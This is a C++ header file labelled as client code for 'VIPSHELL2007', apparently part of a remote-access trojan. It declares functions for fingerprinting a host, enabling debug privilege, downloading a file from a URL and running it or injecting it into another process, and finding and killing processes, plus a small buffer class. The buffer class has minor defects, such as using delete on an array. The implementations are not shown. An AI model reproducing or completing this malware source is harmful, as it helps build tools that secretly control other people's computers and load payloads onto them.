tools.h

VIPSHELL2007客户端代码

#pragma once
#include <string>
#include <windows.h>



bool IsCanCap();
DWORD GetMemorySize();
BOOL GetServerEdition(DWORD* dwMajorVersion, DWORD* dwMinorVersion, DWORD* dwPlatformId);
DWORD GetCpuInfo();


std::wstring GetComputerName();


std::wstring CA2W(LPCSTR sz);
std::string CW2A(const WCHAR* sz);

bool EnableDebugPriv();

bool RunFile(LPCWSTR szCmd, LPCWSTR lpCurrentDirectory);

DWORD ThreadCreateThreadDownFile(LPCWSTR szUrl, LPCWSTR szPath,bool fRun);
DWORD ThreadInjectDownFile(LPCWSTR szUrl, LPCWSTR szPath,bool fRun, DWORD dwProcessId);

std::wstring GetTempPathW();
std::wstring BuildGetTempPathW(LPCWSTR szExt);

DWORD GetProcessIdByName(LPCWSTR szName);
UINT32 GeiFileSize(LPCWSTR szPath);
bool GetProcessFilePath(DWORD dwProcessId, LPTSTR szPath, DWORD dwbufflen, bool isGetPath) ;
BOOL KillProcess(DWORD dwProcessId);

class CBuffer
{
	BYTE* m_pBuff;
	UINT32 m_nBufflen;
	UINT32 m_nLen;
public:
	CBuffer()
	{
		m_nBufflen = 0;
		m_nLen = 0;
		m_pBuff = NULL;
	}
	~CBuffer()
	{
		if( m_pBuff )
			delete m_pBuff;
	}
	bool _SetBufflen(UINT32 nlen)
	{
		if( nlen < m_nBufflen )
		{
			m_nLen = nlen;
			return true;
		}
		BYTE* pBuff =  new BYTE[nlen];
		if( pBuff == NULL )
			return false;
		if( m_pBuff )
		{
			memcpy(pBuff, m_pBuff, m_nBufflen);
			delete m_pBuff;
		}
		m_pBuff = pBuff;
		m_nBufflen = nlen;
		m_nLen = nlen;
		return true;
	}

public:
	UINT32 GetBufflen()
	{
		return m_nLen;
	}
	LPVOID GetBuff()
	{
		return m_pBuff;
	}
	bool SetBufflen(UINT32 nBuff )
	{
		return _SetBufflen( nBuff );
	}
	bool Append(BYTE* p, UINT32 nlen)
	{
		UINT32 nBufflen = GetBufflen();
		if ( !_SetBufflen( nBufflen + nlen ) )
			return false;
		memcpy(m_pBuff + nBufflen, p, nlen);
		return true;
	}
};